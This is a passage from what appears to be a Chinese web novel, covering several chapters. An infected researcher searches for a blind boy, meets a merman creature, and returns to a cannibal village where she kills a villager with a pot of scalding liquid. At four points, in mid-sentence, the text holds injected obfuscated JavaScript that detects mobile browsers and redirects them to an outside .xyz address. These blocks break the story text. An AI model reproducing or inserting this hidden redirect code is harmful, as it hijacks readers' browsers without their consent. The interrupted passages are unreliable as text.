徐志视线依旧不动,“不会,就要练。”他眯起眼,“小伙子,你去。” 陈结愿眼睛睁大,这人知不知道自己在说什么? 让等等一个瞎子去抓鱼,真亏他想得出来。 然而徐志却没想过听陈结愿的意见,走上前去,握住陈结愿放在等等肩膀上的手,想把它们放下,陈结愿皱眉,徐志的力道太大了,陈结愿根本无法反抗。 她只能看着无助的等等被徐志推向水中,暗暗握紧拳头。 下一秒,让她震惊的事情发生了。 一条、两条……稀稀拉拉地又来了很多条,它们不但没有从等等的身边逃开,反而是聚集在他的身边游转着。 等等神色复杂,将头转向陈结愿那里,陈结愿刚想张口安慰他,却被徐志挡住了视线。 徐志似笑非笑地看着她,配上他现在堪称狰狞的面目,诡异得很,陈结愿起了一身鸡皮疙瘩,“看我干什么。” 徐志:“你也见过那个浑身漆黑的人,对吧?” 陈结愿顿住,他是怎么知道的? 徐志走到她身边,转身,和她同样面向等等,“我说到他的时候你表情不太对,我就猜你会不会也认识他。” “算不上认识。”陈结愿道,“只是见过一面,打了一架,我不知道关于他的任何信息,不用找我打听。” 陈结愿转过头,看他,徐志的目光已经回到等等身上了,嘴里却还是说着:“是吗。” “姐姐!这些鱼够了吗!” 她的注意力被等等引过去,看向他,目光都不自觉地柔和了起来。 等等抓鱼似乎十分顺利,他撩起自己的衣摆充作容器,里面满满当当的全都是鱼,活跃的在里面蹦跳着。 她走上前去,迎着等等,语调带笑,“做得不错。” 徐志也鼓着掌走过来,在陈结愿的面前一把揽住等等的肩膀,陈结愿明显看到等等僵了一下。 这两个人的气氛有一种说不出的怪异,但陈结愿也说不好是不是自己多心,徐志似乎格外关注等等的一举一动。 他们随便捡了些木材,徐志生好火,不一会儿鱼肉的鲜香就被烤了出来,陈结愿咬上一口,鱼肉Q弹紧实,比她在稻家村里吃的还要好吃上一些。 如果是以前的陈结愿,大概会想要不是该死的鲽族,他们所有人就都能每天吃上这么美味的食物了。 可现在……陈结愿想到稻家村的村民们,睫毛轻颤,垂眸看向手中的鱼。 有些人真的有资格幸福地活在这世上吗? 等等轻声呢喃:“其实当感染者也挺好的……正常人类都吃不上这些,”他又咬了一口,嘴角不自觉地翘起来,“他们鲽族是不是什么都能吃啊,比人类过得好太多了……” “人类还会互相欺负,鲽族至少还会保护自己的同伴呢。” 陈结愿有些出神,她居然有一瞬间认为等等说的有些道理,反应过来之后立刻严肃道:“等等,注意自己的言行。鲽族是我们的敌人。” 等等没应,几秒之后,轻轻点了点头。 “哈哈哈,其实不也没错吗?我也是感染了之后才发现,人都是自私的。”徐志附和等等刚才的发言。 陈结愿不会跟等等置气,但不代表她不会对其他人这样,狠狠瞪了一眼徐志。 徐志耸肩,“看来陈生哥很宠你,小姑娘一看就没受过苦。”他说着,眸光暗了下来。 这句话却是完美的踩中了陈结愿的雷区,她狠狠瞪上徐志,也不在意什么长幼尊卑了,抬脚就踩了他一下。 徐志痛呼出声:“你就这么对长辈?!” 陈结愿出了气,把脚收回来,“是你先不尊重我的。” 徐志抬起自己的脚,又是吹又是揉的,全身的鳞片几乎都挤在一起,陈结愿都有些吃不下饭了。 “这就不尊重了,哎哟现在的小孩真是……对了,你爹最近怎么样?你来稻家村,他应该急死了吧。” 陈结愿沉默,徐志看样子是不知道他父母早就去世了这件事,陈结愿也不打算和他一个外人说太多。 不过,陈结愿想,她对自己父母的了解说不定还没有徐志多,这也算是一个打听父母消息的好机会。 她想起梦中抱着自己的蓝发女士,她应该也是鲽族,可她和陈结愿、和陈结愿的父亲有什么关系? 陈结愿立刻就联想到了徐志口中说的父亲的项链。 那吊坠是鱼鳞的形状,说不好就是鲽族的鳞片。 陈结愿拿木棍戳了戳徐志,“你有见过鲽族吗?或者说,你见过我父亲和鲽族接触吗?” “鲽族是啥?”徐志一脸疑惑。 陈结愿差点都忘了稻家村有多封闭落后,几十年前的稻家村的开放状况肯定比现在还要鸡肋,徐志知道污染和外面有怪物就已经算知道很多了。 她扶额,眉心隐隐作痛,自己真是,一沾上跟父母有关的事就急,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181273|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最基本的思考都不会了。 她整理好自己的情绪,再次发问:“就是你们口中的那些怪物,我父亲有提过怪物的事吗?” 徐志道:“没听他提过。陈生哥对感染者都爱答不理的,怎么可能去接触怪物。” 陈结愿没得到任何有用的信息,也不寄希望于徐志身上了,点了点头,闷头继续吃手中的烤鱼。 陈结愿也很累了,一顿饭不自觉地吃得慢了一些,吃完天已经快要完全黑了,这里离稻家村还不是很远,也不够隐蔽,不是多好的过夜地点。 她站起身,看等等和徐志也吃的差不多了,轻咳一声。 徐志和等等看向陈结愿。 陈结愿伸手拉起等等,看向徐志,“带路吧,时候不早了,带我们找个安全的地方过夜。” …… 等等和徐志之间的气氛实在是不对劲。 徐志一开始走在他们两个前面,后来慢慢越走越慢,硬生生挤走了原本和等等并肩而行的陈结愿,余光总是瞥向等等。 陈结愿在两人后面,把这一切都看得清清楚楚。 等等虽然看不见,但也能感受到自己身上的视线,颇为不自在地尝试和徐志拉开距离,可每次都被徐志拉了回来。 陈结愿实在是看不下去了,打算开口质问徐志到底想干什么。 她还没开口,就见等等停下脚步,“你有话和我说吗?” 徐志被拆穿了也不恼,倒不如说他从一开始就没有藏过自己的心思,憨笑一声,“就等你这句话呢。我们去哪说?” 他说完,还若有所思地看了一眼陈结愿。 陈结愿表面神色如常,内心却是咯噔一下。 有什么话还必须避着她说? 不过也没事,等等胆子这么小,也不会离开陈结愿和徐志单独对话。 等等握上徐志的胳膊,转身向林间走去。 陈结愿一愣,“你去哪?” 等等听见她的声音,抖了一下,陈结愿眉头拧紧。 等等没有回头,依旧向前走着,语气中带着一些急促,“姐姐,我马上就回来!” 他态度坚决,哪怕陈结愿担心也不好拦着他,只能眼睁睁的看着两人的身影逐渐消失在一片翠绿当中。 算了,让他去吧,刚才陈结愿就发现了,徐志的力气大得出奇,他要是想伤害等等根本不用刻意避开陈结愿。 她吐出一口气,倚靠在树干上。 此刻周围没有能让陈结愿分神的人,积攒已久的疲惫一股脑地涌向陈结愿。 她试着分散自己的注意力,努力不让自己入睡。 有了徐志带路,他们应该可以顺利走出去,要是中途碰上了村民……以他们现在的战斗力,总能有脱身的办法。 对了,助理怎么样了?都过去那么久了,他应该已经和研究所里的其他人在外面找他们了吧。 小助理平常叽叽喳喳的,陈结愿总嫌烦,现在居然是有点想念了。 “陈姐?!陈姐是你吗?!我去!” 对……就是这样的声音。 等一下。 不对。 陈结愿猛地睁眼。 16. 第 16 章 陈结愿不可置信地看着前方。 助理穿着完好的衣服,脸上也没有伤,一切看起来都很正常,就这么站在陈结愿的面前,和陈结愿对视的瞬间瞳孔缩小。 陈结愿暗道不好,连忙想要遮住自己的眼睛,然而她动作一大就牵扯到了身上的伤口,轻哼出声。 助理连忙上前去扶住她,神情殷切,“你怎么流了这么多血啊,我的天啊……算了算了,你还活着就好。” 他把陈结愿的手扒下,再次看到陈结愿的眼睛时还是顿了一下,下一秒又恢复成担心的神态。 陈结愿眼中冒出一股酸楚,她不动声色地吸了口气,“眼睛是……”她想了想,压根不知道该怎么解释这件事。 该怎么说呢,大大方方地说自己被感染了吗? 想到稻家村的村民对待感染者的种种行为,陈结愿心里又是一阵刺痛。 最后,她自暴自弃地道:“眼睛我也不知道怎么回事,可能是吃坏东西中毒了。” 助理沉默片刻,随即点了点头。 陈结愿眸光微颤,这是什么意思? “果然就算是陈姐也会害怕吧……对不起,是我动作太慢了,才会让你等这么久。”助理将头垂得很低,“你是陈姐,不是怪物,对吧?” 陈结愿一愣,哑然,“对……” 助理在她面前深吸一口气,揉揉眼,再放下手的时候眼睛红了一圈,也不知道是因为揉得太用力还是另有原因,他掏出对讲机,“报告,报告,我找到陈姐了,陈姐一切安好,有点食物中毒,嗯,你们赶快过来。”话毕,他又转过身去。 陈结愿注意到他拿着对讲机的手有些抖,不由自主地后退几步。 没过多久,林中传来窸窸窣窣的声音,陈结愿向声源出看去,梁所长扒开层层杂草,来到陈结愿面前的时候已然是满头大汗,身后跟着呜呜泱泱一群人。 陈结愿有些吃惊,梁所长不会是把研究所里所有能揪出来的人都拽出来了吧。 陈结愿莫名屏住了呼吸。 梁所长看见陈结愿,先是松了一口气,从上到下仔仔细细地打量了她一遍,发现陈结愿身上的血污后眉头皱得可以夹死苍,最后注意力才来到陈结愿的脸上,整个人的神情骤然一变。 他的脸色瞬间发白,像是看见了什么怪物。 梁所长不可置信地揉了揉自己的眼睛,确认没看错之后,两个大手对着陈结愿的脸一顿揉搓,脸贴得离陈结愿很近,眼睛瞪大到眼球上的血丝都一清二楚,像是在找什么一样,就这么看了又看。 陈结愿被他看得后背发麻,梁所长对她来说毕竟是监护人一样的存在,哪怕陈结愿平常再不爱搭理他,多少也还是有些怵头,“梁所长……这是,额,食物中毒导致的。”说完这句话,陈结愿自己都有些绝望了。 这到底是在骗谁呢,助理都不信,梁所长能信就有鬼了。 陈结愿心中刺痛,这时才意识到自己的想法有多天真,研究所里怎么会容得下感染者。 现在好了,真就是一语成谶,之后躺在解剖台上的说不定真是她了。 梁所长见陈结愿有些胆怯的样子,表情有一瞬间的松动,他低下头,深呼吸几次,再次抬头的时候已经调整好了神态,拼尽全力才挤出来一个绝对算不上好看的笑。 陈结愿看了心里却更加难受。 这种神情让她无比清楚地意识到,自己离人类已经越来越远了。 梁所长将她拥入怀里,粗糙的大手抚过陈结愿身上的伤口,用只有两个人能听见的声音在她耳边低语,“你感染了,对不对?” 陈结愿知道瞒不过他,微不可查地点头。 梁所长似乎轻叹了一口气,“不用怕,感染程度还不算深……乖孩子,小愿……是我错了,怎么就这么糊涂呢。” “没有,是我不小心。”陈结愿鼻头发酸。 梁所长松开她,用指腹轻轻擦去陈结愿眼角的一滴液体。 “你会没事的,我不会让你重蹈陈生的覆辙。” 重蹈覆辙。 陈结愿睫毛颤了颤。 意思是她的父亲也被感染了? 但这和陈结愿长期以来接收到的信息严重不符,研究所里的人不是都说她的父母是被鲽族杀害的吗? 果然父母的死是另有隐情的。 根据徐志的描述来看,父亲在稻家村的那段时间还没有被感染,他明显知道感染的条件,而且还试图去拯救稻家村的村民们。 这些充分说明,陈结愿的父亲对感染很敏锐,也清楚怎么预防。 这样的人怎么会被感染。 她忽然就陷入一阵恐慌之中,面前梁所长的脸都变得陌生。 陈结愿什么都不知道。 就好像有人故意在向她隐藏什么,陈结愿手里的信息总是相悖的,让她不知道相信哪一方才是正确的。 是研究所里的人说陈结愿的父母是被鲽族残忍杀死的,陈结愿却能从梁所长无意的一句话分析出她的父亲也被感染了,而且感染程度绝对算不上轻。 鲽族会去杀害感染者吗? 她想到自己掉入水箱的那一天,那时候的坎特雷拉是不是就是在用自己的方式提醒她已经被感染了? 之所以不伤害她,也可能是出于陈结愿是感染者。 所以鲽族不太可能会去伤害感染者……那父亲的死就更可疑了。 不知道为什么,陈结愿就是有一种直觉,她的父亲不是像徐志母亲那样会自我了结的人。 陈结愿根本理不清头绪,心烦意乱,这些事绝对不能直接问梁所长,她现在身为感染者的情况已经很不利了,不能再给自己和等等添麻烦。 等等? 陈结愿猛地抓上梁所长的手,语速加快,“等等不见了,他刚才和一个感染者走了……” 梁所长皱眉,“都什么时候了你还想着其他人,人各有命,该没事的都会没事,现在我们最重要的是把你带回去!” “可是……”看见梁所长不容置疑的表情,陈结愿硬生生住上嘴。 梁所长动用这么庞大的人力来找她已经是陈结愿意想不到的了,她和梁所长还算得上有情分在,可等等于梁所长而言只是一个随便捡回来的孩子。 但这也不代表陈结愿就会这么放弃。 她松开梁所长的手,后退几步,语气回归了一向的平淡,“我去找等等。” 梁所长的表情越来越难看,陈结愿也不知道自己是怎么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181274|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,居然这么冲动,明明她现在跟着梁所长回研究所才是最能保全研究所利益的结局。 可陈结愿的直觉告诉她,如果她现在不去找等等的话她会后悔一辈子。 梁所长表情已经难看到了极点,陈结愿见她额头渗出冷汗,拿走了旁边一个战备人员手里的枪,对准陈结愿所在的方向。 陈结愿心下一惊,而后便是消不去的苦涩。 她本来认为自己对梁所长多少还是有些特殊的。 然而下一秒,一阵急促的气流朝陈结愿冲过来,她条件反射地闭上了眼睛。 不痛。 子弹穿透陈结愿的发丝,没有挨到陈结愿脸颊的一分一毫,她的身后却传来子弹没入□□的声音。 陈结愿睁开眼,身后响起一声轻笑。 陈结愿瞬间汗毛倒立。 一双洁白纤细的胳膊环绕过陈结愿的脖颈,将她往自己的怀里带了带,海水咸湿的气味在陈结愿鼻尖蔓延,还带着那股陈结愿已经不愿再去想的甜腻味。 “同伴,他好过分啊,不怕伤到你吗?”冰冷的吐息打在陈结愿耳边。 陈结愿只感觉四肢都像是被灌了铅,无法挪动一分一毫。 是坎特雷拉。 他怎么会在这,他想要干什么! 又是几声子弹响,全都擦着陈结愿的轮廓冲向她身后。 和梁所长狰狞的面目形成对比,坎特雷拉并没有发出任何吃痛的声音,反而将头放在陈结愿的肩膀上,湿漉漉的鱼尾一下又一下轻拍陈结愿的小腿,“伤到我可以,可要是打到我们小愿怎么办?”他说着,伸手捂上陈结愿的双眼。 陈结愿整个人被他箍在怀里,眼前被一片漆黑覆盖,她拼了命地挣扎,耳边子弹声不断。 “别那么叫我!” 怪物发什么疯,梁所长摆明了就是冲着坎特雷拉去的,但凡他把陈结愿放下,她怎么可能会被打到! “怪物!!!给我离小愿远点,我绝对不会让你带走小愿的,你们鲽族休想再夺走我的亲人!”梁所长呐喊出声,声音止不住地颤抖,音量却格外大。 坎特雷拉把玩着陈结愿的发丝,“再?我们鲽族可没有抢人的爱好,从来都是你们人类将我们赶尽杀绝。” “放你娘的屁!玩弄人心的怪物,装得倒是挺人模人样的!!” “你说话真不好听。” 陈结愿感到自己身体猛地滞空,她耳边响起某人的痛哼,脸颊被几滴温热的液体溅上,覆在她眼上的手放了下来。 入目便是一片红。 陈结愿大脑一下断了线,颤颤巍巍地看向坎特雷拉的手,白皙、骨节分明,染上鲜血,美得触目惊心。 血的主人是……梁所长…… 坎特雷拉将陈结愿转了个方向,强迫她看向自己。 坎特雷拉笑得纯真,漂亮的脸蛋上一滴血都没有,比起陈结愿上一次见到他时更美了,眉眼也更加锋利,哪怕是笑着的,也能让人感受到他身上危险的气息。 他开口,语调诡异,声音变化莫测,“他不会死的,我控制好了力度,我只想帮助你,不会去杀人。” ”你的敌人不该是我,小愿。” ……那个黑衣人,是他。 17. 第 17 章 陈结愿大脑一下子断了线,这声音陈结愿绝对不会听错。 坎特雷拉就是那个在地下阻挡她的黑衣人。 耳边响起梁所长的哀嚎声,陈结愿思绪瞬间回笼,挣开坎特雷拉,几步跑到梁所长面前。 看清梁所长的伤势之后,她提着的心稍稍放下。坎特雷拉确实没下死手,梁所长身上的伤看着吓人,其实半点都没有挨上要害。 他似乎也没有使用毒素,梁所长的伤口并没有腐烂的趋势。 梁所长还痛苦地捂着伤口,脸上的五官都要拧作一团,却还是死死拽住了陈结愿的手,“不要……” 陈结愿心头一紧,慢慢把自己的手抽出来,拿起梁所长掉落在地上的枪。 她再次回头,眉目中寒光乍现,当机立断对着坎特雷拉扣下扳机。 子弹飞射的瞬间,陈结愿也踉跄两步,堪堪稳住身形,而后继续射击。 坎特雷拉也不闪躲,任由子弹一颗一颗穿透自己的身体却没有留下半点伤痕,鱼尾蠕动着靠近陈结愿,每一次的距离拉近都像是在嘲笑她的无能。 陈结愿呼吸逐渐变得粗重,眼白处已经隐隐出现几条红血丝。 坎特雷拉略微抬手,捏住一颗飞射过来的子弹,“你想找一个眼瞎的男孩,对吗?” 陈结愿依旧紧紧端着枪,没作任何回应。 坎特雷拉究竟跟了她多久才会知道的这么清楚。 这样的怪物一直跟在身边自己却没发现,陈结愿在心里暗骂自己没用。 “骗你对我没有好处,我真的只是想帮你。”坎特雷拉眼神无辜,手却缓缓攥住枪口,“如果你动作再慢一些的话,他应该会死吧。” 听了这话,陈结愿嘴唇有些发白,猛地将发力,枪口穿破坎特雷拉的掌心,“他在哪。” 坎特雷拉眼中笑意更甚,丝毫不在意手掌血淋淋的大洞,将枪拔出来,伤口没几秒就长好了。 “我可以带你去。” “你同样没理由帮我,你到底有什么目的?”陈结愿不认为自己有什么吸引怪物的地方。 坎特雷拉依旧带笑,“我都跟你说过好多遍了,我只是想帮你,没有目的。” “硬要说目的的话,可能是我觉得你很可怜?” 这大概是陈结愿这辈子听到的最好笑的话。 她可不觉得自己有哪里可怜,即使在末世,陈结愿生活的地方也算是现如今对人类来说生存条件最好的研究所了,更何况她的职务也绝对算不上低,在研究所里也是一人之下万人之上的存在。 说她可怜?那其他人还活不活。 “你可以控制我,我不会做什么,找到那个男孩之后我也可以就这么跟你回研究所,你什么都不用担心。” 陈结愿听着都有些恍惚,坎特雷拉话里话外全都是对陈结愿有利的条件,虚假得不像话。 可偏偏说出这话的人……不是,怪物。 可偏偏说出这话的怪物语气真诚,目光也毫不忌讳地与陈结愿相接,仿佛说的米诶一个字都是他的肺腑之言。 难不成他说的是真的。 坎特雷拉见她神色透露出动摇,得寸进尺地又向前一段距离,“你也不想这辈子都见不到他了,对吗?你喜欢他。”他说这话的时候语调莫名上扬。 陈结愿脑内一下炸了锅,面上还保持着那副冷脸。 “与你无关。”她冷冰冰地道。 但等等的情况危急是事实,不知道徐志把他带去了哪里,此刻知道等等消息的只有坎特雷拉,即使陈结愿不愿意承认,此刻摆在她面前的道路也只有一条。 然而她还没来得及点头,倏然间眼前一黑,然后就是熟悉的失重感,耳边风声呼啸,陈结愿一时反应不及,下意识抱住了身边的东西,就听见一声愉悦的轻哼消散在风中,周遭的风安静下来,下一秒,陈结愿的眼前陡然明亮。 她一时间忘了恐惧,因为这里实在是,太美了。 陈结愿眼中被大片的天蓝色覆盖,云朵缓缓移动,蹭过陈结愿的小腿,稍微有一些痒。 陈结愿顺着痒意看去,这才发现自己此刻正被坎特雷拉抱在怀中,而且还是……公主抱。 陈结愿神情复杂。 恐惧?坎特雷拉从来没伤过她,恐惧确实是没多少了。 生气?她就没有看见坎特雷拉不生气的时候。 陈结愿脑内各种情绪交织在一起,谁能想到坎特雷拉会突然抱着她飞天,整个人一下子卡了壳。 他们身下传来梁所长撕心裂肺的喊叫声。 “小愿——!!!!!” 坎特雷拉似乎是被吵到了,眉头微皱,陈结愿暗道不好,他不会把自己扔下去吧,不自觉地又搂紧了一些。 坎特雷拉眉头又舒展开来,低下头来看着陈结愿,抿起嘴角,目光柔和。 陈结愿一愣,莫名觉得他这个表情很眼熟。 只不过这个想法下一秒就被她自行推翻了,她大概是被坎特雷拉就是黑衣人这个事实冲昏了头,脑子就开始瞎想了。 说到黑衣人……陈结愿看向坎特雷拉的尾巴,黑衣人肯定是长的人腿。 但坎特雷拉刚才说话的声音又和黑衣人分毫不差,甚至连说的话都相差无几,他是黑衣人几乎是板上钉钉的事实。 陈结愿表情管理系统难得失控,坎特雷拉低头看她,只见陈结愿漂亮的棕发下眉头一会儿紧紧皱起,一会儿缓缓展开,宝石般的瞳孔四处转动,嘴巴张张合合,不断地小声念叨着什么。 而后,陈结愿忽然猛地抬头,“你能长人腿?” 坎特雷拉还没反应过来,愣愣地盯着陈结愿,陈结愿被他盯得发毛,有些恶心。 他憋什么坏水呢? 坎特雷拉不自然地移开目光,轻咳一声,“你的发问可以更直接一些。” 陈结愿了然,不再和他绕弯子,“在稻家村阻挠我的黑衣人是你吧。” 坎特雷拉微微点头,语调愉悦,“姐……结果不错,你记住我了,我很开心。”语罢,他又摇摇头。 “我当时就和你说过我是来帮你的,叫你不要插手稻家村的事,你为什么就这么不听话呢?人类都是很坏的。” “首先,我也是人类,其次你的目的先暂且不提,”陈结愿轻眯起眼睛,“据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185490|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我所知,没有长人腿的鲽族。” “我们鲽族已经很长时间没有上过岸,人类对我们的记载早就已经过时了。倒不如说,你怎么就能确定那些资料就是真的?” 资料还能有假吗。 等一下,目前为止陈结愿接触到的全都是研究所的内部资料,既然她父母的事研究所的人都对她有所隐瞒,那么资料…… 陈结愿脊背发凉,只能安慰自己说研究所至少应该不会拿人类的未来开玩笑。 得想办法转移一下自己的注意力,不能再这么瞎想下去了。 陈结愿目光摇摆不定,在扫到坎特雷拉脸上的鳞片时停住,脑海里浮现出父亲的鱼鳞挂坠。 “你们鲽族有送鳞片的习惯吗?”她问。 坎特雷拉却是整条鱼一顿,肤色从耳根处慢慢变红,眼神飘忽地看向陈结愿。 陈结愿:……? 怪恶心的。 很明显,送鳞片这个行为有什么特殊意义在,可陈结愿忽然就不想听了,刚想开口说当她没问,坎特雷拉就扭扭捏捏地开了口。 “是有的。”他说,“我们鲽族的习俗是,此生一旦认定谁是自己的伴侣,就会拔下一片自己脸上的鳞片送给对方。” 他说这话时悄悄瞥着陈结愿的表情,只见陈结愿面色逐渐凝重。 坎特雷拉的声音传到陈结愿脑海中甚至有了回音,音波一下又一下攻击陈结愿的大脑,她有些消化不来这句话。 送给伴侣……此生认定…… 她的父亲还那么珍重地带在身上…… 脑海里的想法让陈结愿起了一身鸡皮疙瘩,不不不,这绝对不可能,陈结愿看过那么多出自陈生之手的鲽族研究资料,那个人的文字从来都是冷冰冰的记录,不含一丝一毫的个人情绪,怎么会和鲽族有私情。 陈结愿又莫名想到了那页被撕下去一半的笔记:【我认为不会又比这更美的生物了,我该去怎么形容这带给我的悸动?】 还有她梦中频频出现的那位有着美丽蓝发的女士,准确来说是,那位鲽族女士。 万一这些都是真的,那她岂不是…… 想什么呢,退一万步来讲还有生殖隔离,这是绝对不可能的。 坎特雷拉面色已经通红,嘴里还小声嘟嚷着:“如果你想的话……我也可以给你一片,不过不是……” 陈结愿一顿,“疯了吧,我要这个干什么。” 坎特雷拉脸上的粉红色迅速褪去,嘴角向下耷拉了许多,猛然间俯身下冲。 陈结愿眼睛睁大! 电光火石之间她突然间反应过来,坎特雷拉难道是在求爱吗? 疯了吧! 她还没来得及震惊,重物落地的声音响起,他们已经来到了地面上。 陈结愿定睛一看,整个人瞬间凝固在原地。 坎特雷拉把她带回了稻家村。 陈结愿不可置信地回头,她就知道怪物不可能这么好心。 坎特雷拉却是没在意她愤怒的眼神,眼神示意她进入稻家村,“你怎么不进去?” “你可能要来不及见他最后一面了哦。” 18. 第 18 章 陈结愿周身都开始颤抖,也就是说,等等被徐志带回了这里…… 她都不用思考就能知道等等会被怎么对待! 陈结愿本来还认为徐志同样是感染者不会回到稻家村,可事实证明她还是放心得太早了。 陈结愿大脑还没反应过来,脚下已经生风,回过神来已经跑进村子里有一段距离。 但奇怪的是,陈结愿跑了这么长的距离,就连一个村民都没有看到。 她发了疯一般,挨家挨户的破门,无一例外,房子里全都空无一人。 没有村民,没有徐志,没有等等。 陈结愿甚至觉得自己的心脏都快要跳出喉咙,一颗心提到了嗓子眼,怎么也落不下来。 她步伐越来越快,到最后甚至已经不知道自己在干什么,机械性地重复着踹门、扫视、跑出去踹另一家的门几个动作。 “感谢你们,带来粮食。” 不远处传来村民祷告的声音,陈结愿思绪瞬间回笼。 “感谢你们,带来生机。” 她缓缓吐出一口气,颤颤巍巍地分辨声音传来的方向。 “感谢你们,带来希望。” 陈结愿喉咙发紧,顺着声音传来的方向狂奔。 穿过金灿灿的、密密麻麻的稻谷,穿过陈结愿曾经在书中看到过的、她十分向往的美景,穿过飞鸟,穿过猫咪。 最后,陈结愿喘着大气停下脚步,只看到了一群人未在一口大锅面前,载歌载舞,欢声笑语,仿佛是在感谢上天降下的馈赠,每个人的脸上都洋溢着幸福的笑容。 “伟大而又聪慧的人类,得您恩赐,生生不息。” 锅中的甜腻飘散开来,瞄准了陈结愿,顺着风飘过来,缓慢而又轻柔地环绕上陈结愿的脖颈,越来越紧,越来越清晰,誓要剥夺陈结愿自由呼吸的权利。 她红了眼,顾不上村民们诧异的目光,几步走上前去,粗暴地拨开人群,在看到锅旁摆放着的衣物的时候整个人呼吸猛然一滞。 那是等等的衣服。 绝对不会错的,等等只有这一件衣服,还是陈结愿同事以前穿的,陈结愿不可能弄错。 陈结愿大脑已经是一片空白,好像有人在她的耳边糊了一层浆糊,任何声音传到陈结愿的耳朵里都变得模糊不清,一点也听不真切,她脚底发软,已经不知道自己究竟是在走还是在飘。 她站定,蹲下来,小心翼翼地将等等的衣物抱在怀中。 “你们把他怎么了……”她语气格外的平静,听不出任何情感起伏。 陈结愿经历过很多的离别。 倒不如说,陈结愿几乎每天都在经历着离别。 可能昨天还在和她说说笑笑的人,只是出了一趟门就再也没有回来。 可能前一秒还在她身边为她配置药剂的人,下一买秒就会因为脱水、饥饿死去。 陈结愿本来觉得自己早就习惯了身边的人离开,毕竟这个世道就是这样,能多活一天对于他们来说都已经算是幸运。 久而久之,陈结愿也养成了不习惯和人亲近的性格,和等等熟络起来也全都是因为那场意外的掉涯…… 陈结愿重重地吸了一口气,抱紧等等的衣物,转过头来,宝蓝色的瞳孔被红血丝覆盖,一字一顿地道:“你们,把他,怎么了?” 村民们看见她这样狰狞的表情,都是一愣,下意识后退几步。 阿桃眼神扫过周围一帮没有骨气的东西,“啧”了一声,随手拿起地上的菜刀,“真没想到,你们居然会一个一个回来。” “我本来都对这批点心的产量不抱希望了,呵呵。”她笑出声,声音还是那么清脆甜美。 陈结愿眼睁睁看着她手里拿着菜刀向自己靠近,手向后挨上滚烫的大锅。 □□接触到高温,发出“滋啦滋啦”的响声,陈结愿却没感觉到怎么痛。 如果把这口锅里的东西全都扣在他们身上,是不是也能算让等等亲手报仇了。 然而,阿桃还没来得及摸到陈结愿的一根发丝,身后冒出一只苍白的手,轻轻拽住阿桃的一寸衣角,却已经让她动弹不得。 其他村民注意到这一幕,皆是从口中溢出惊呼。 人身鱼尾! 这不就是感染者的感染源,在外界肆虐的怪物吗! 村民们一下子就慌了神,他们只见过感染者,从来都没有见过真的怪物。 他们都直觉如果和这样的怪物对抗他们绝对连万分之一的胜算都没有。 “哎呀,没看见人正伤心着呢吗,一点都不懂得体贴,”坎特雷拉语气中带着调笑,眼底却闪过一丝寒光,又看向陈结愿,“你看,我没说错,人类很坏的。” 陈结愿冷脸看着这一切,要是放在刚才陈结愿还会继续反驳他。 可现在,陈结愿冷笑,看着这一群吃人不吐骨头的败类,她属实是说不出什么为他们开脱的话。 坎特雷拉注意到她的手,脸色变得不太好看,“多烫啊,我来替你解决就好了。”说着,手就要穿透阿桃的身体。 “不用。”陈结愿说。 而后,在众人惊骇的目光下,陈结愿慢慢举起大锅,一步一步,毫不犹豫地走向阿桃。 坎特雷拉心中了然,拎住惊恐挣扎的阿桃,“小愿好帅啊~” 陈结愿没理他,略微一松手,大片炽热的红色液体倾洒在阿桃的身上,刺耳的尖叫声响彻整个稻家村。 坎特雷拉一下跳出去好远。 “你怎么这样啊!我还在呢!”他哭诉道,煞有其事地握紧被烫到的手。 陈结愿瞥了他一眼,“你没做到。” 坎特雷拉又切换回笑嘻嘻的表情,“我不是带你来找他了吗?这都是因为你动作太慢……哦,不对,都是因为这些人太坏了。” 她被噎了一下,确实,坎特雷拉并没有保证她找到的等等还是活着的。 陈结愿不置可否,又将目光转向其他村民。 他们顿时一个激灵,看向已然失去呼吸的阿桃,屁滚尿流地四处逃窜。 这画面太过肮脏,多看一眼都是对陈结愿的折磨。 好在,也不用她亲自动手,坎特雷拉很有眼力,在泥泞的土地上行动自如,三两下就把抱头鼠窜的村民们逮了个七七八八,他们被坎特雷拉接触的部分开始腐烂,不出几秒就扩散到全身,化成一摊摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 